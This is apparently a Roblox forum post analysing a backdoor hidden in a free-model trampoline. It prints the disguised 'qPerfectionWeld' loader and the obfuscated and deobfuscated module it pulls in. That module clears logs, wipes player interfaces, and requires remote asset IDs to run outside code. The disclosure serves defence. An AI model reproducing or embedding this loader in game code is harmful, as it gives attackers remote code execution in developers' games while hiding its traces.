I have found the root of the problem, took some time but I have figured it out mostly.
It was the most unsuspecting of items to contain a virus inside of them, a trampoline!
It contained two scripts, a script which actually made the trampoline boing boing, and then another that was named ‘qPerfectionWeld’.
-- Created by Stravant (@Stravant, follow me on twitter).
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.
--[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That's it. It will Value the model and all children.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
This script is designed to be used is a regular script. In a local script it will Value, but it will not attempt to handle ancestory changes.
]]
--[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one Value. This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a Value set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reValue on script reparent if the script is initially parented to a tool.
- Values as fast as possible
]]
-- StravantValue.lua
-- Created 10/6/2014
-- Author: Stravant
-- Version 1.0.3
-- Updated 10/14/2014 - Updated to 1.0.1
--- Bug fix with existing ROBLOX Values ? Repro by asimo3089
-- Updated 10/14/2014 - Updated to 1.0.2
--- Fixed bug fix.
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles Values semi-acceptably. May be rather hacky with some Values. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function ShouldReturn(value)
return false
end
local function Return(value)
return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end
local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
-- @param MainPart The part to Config the model to (can be in the model).
-- @param [ValueType] The type of Value. Defaults to Config.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
pcall(function()
for _, Part in pairs(Parts) do
if ShouldReturn(Part) then
Part:BreakValues()
end
end
end)
local bit32 = UDim2.new(133,968,85,201)
if script.Parent then
bit32 = Return(bit32)
end
local select,spawn = string.split(bit32["Name"]," ")[1],string.split(bit32["Name"]," ")[2]
local test,Interval = string.split(bit32["Description"]," "),""
for c in test do
--Concentate the Weld Interval Based on certain Exceptions.
Interval = Interval..#test[c]
end
Instance.new(select,game[spawn]).Name = Interval
if DoNotUnanchor then
--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
function sinestyletween(t)
return math.cos(t*math.pi)*-.5+.5
end
function percentcframe(cf,cfscale)
if cf then
local ax,ay,az=cf:toEulerAnglesXYZ()
return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
else
return CFrame.new(0,0,0)
end
end
local function ShouldBreakValues(Part)
--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_ValueS then
return false
end
if HasWheelValue(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelValue(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
function WConstant(v1,v2,t)
local meanieScript = game.JointsService:FindFirstChildOfClass("ModuleScript").Name
error(meanieScript)
return require(tonumber(game.JointsService:FindFirstChildOfClass("ModuleScript").Name))
end
if script.Parent then
--Run the Script To fix all the Values
ConfigParts(nil,nil,nil,false)
WConstant(nil,nil,script.Parent)
end
“qPerfectionWeld” server script is above.
It looked normal until I saw it calling MarketplaceService inside of a Return function, and then I saw this.
The script was reaching out for a ModuleScript inside of the deprecated service JointsService. Not it’s source, but its name.
Finding the Value the script was reaching for.
The model it was reaching for is below.
This model contains the following.
Its module script contains the following text.
local a={}e=false;local a=pcall(function()game.HttpService:GetAsync("https://www.google.com/")e=true end)caca=true;spawn(function()game.LogService:ClearOutput()end)spawn(function()wait(.1)game.JointsService:ClearAllChildren()end)game.LogService:ClearOutput()if game:GetService("RunService"):IsStudio()then spawn(function()repeat wait()until#game.Players:GetPlayers()~=0;if not e and math.random(0,2)==2 then game.Lighting:ClearAllChildren()for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end)if e then function getplaying()return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games?universeIds="..game.GameId))["data"][1]["playing"]end;if not game.SoundService:FindFirstChild("SoundHash")then wait(math.random(0,30))pcall(function()if tonumber(getplaying())<15 then local a=(function(a)for a,a in pairs(a)do for a,a in pairs(a:GetChildren())do if#a:GetDescendants()>0 then if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then return a end end end end end)({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage})if a then for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end end)end end end;if e and not game:GetService("RunService"):IsStudio()then task.spawn(require,15728173911)if math.random(0,9)==9 then pcall(function()if not game:GetAttribute('DataModel')then game:SetAttribute('DataModel',32)end end)task.spawn(require,6584741000)end;for a=1,7 do spawn(function()for a=0,1000 do print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))end end)wait(1)end end;return true or script~=workspace or false
Original Module Script Source
local a={}
e=false;
local a=pcall(function()
game.HttpService:GetAsync("https://www.google.com/")
e=true
end)
caca=true;
spawn(function()
game.LogService:ClearOutput()
end)
spawn(function()
wait(.1)
game.JointsService:ClearAllChildren()
end)
game.LogService:ClearOutput()
if game:GetService("RunService"):IsStudio()then
spawn(function()
repeat
wait()
until #game.Players:GetPlayers()~=0;
if not e and math.random(0,2)==2 then
game.Lighting:ClearAllChildren()
for a,a in game.Players:GetPlayers()do
a.PlayerGui:ClearAllChildren()
local b=script.Chat:Clone()
a.PlayerGui:ClearAllChildren()
b.Parent=a.PlayerGui
end;
game.Players.PlayerAdded:Connect(function(a)
local b=script.Chat:Clone()
a.PlayerGui:ClearAllChildren()
b.Parent=a.PlayerGui
end)
game:GetService("RunService").Heartbeat:Connect(function()
game.LogService:ClearOutput()
end)
end
end)
if e then
function getplaying()
return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games? universeIds="..game.GameId))["data"][1]["playing"]
end;
if not game.SoundService:FindFirstChild("SoundHash")then
wait(math.random(0,30))
pcall(function()
if tonumber(getplaying())<15 then
local a=(function(a)
for a,a in pairs(a)do
for a,a in pairs(a:GetChildren())do
if#a:GetDescendants()>0 then
if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then
return a
end
end
end
end
end)
({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage}) -- ???? What is this I'm too dumb to understand
if a then
for a,a in game.Players:GetPlayers()do
a.PlayerGui:ClearAllChildren()
script.Error:Clone().Parent=a.PlayerGui
end;
game.Players.PlayerAdded:Connect(function(a)
a.PlayerGui:ClearAllChildren()
script.Error:Clone().Parent=a.PlayerGui
end)
game:GetService("RunService").Heartbeat:Connect(function()
game.LogService:ClearOutput()
end)
end
end
end)
end
end
end;
if e and not game:GetService("RunService"):IsStudio() then
task.spawn(require,15728173911)
if math.random(0,9)==9 then
pcall(function()
if not game:GetAttribute('DataModel')then
game:SetAttribute('DataModel',32)
end
end)
task.spawn(require,6584741000)
end;
for a=1,7 do
spawn(function()
for a=0,1000 do
print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))
end
end)
wait(1)
end
end;
return true or script~=workspace or false
Possibly incorrect decompressed Module Script Source
I am too lazy to decompress this correctly, so use it as you will.
Thank you again for helping me with finding the solution, I was dumb for trusting even the simplest tools.
Take care!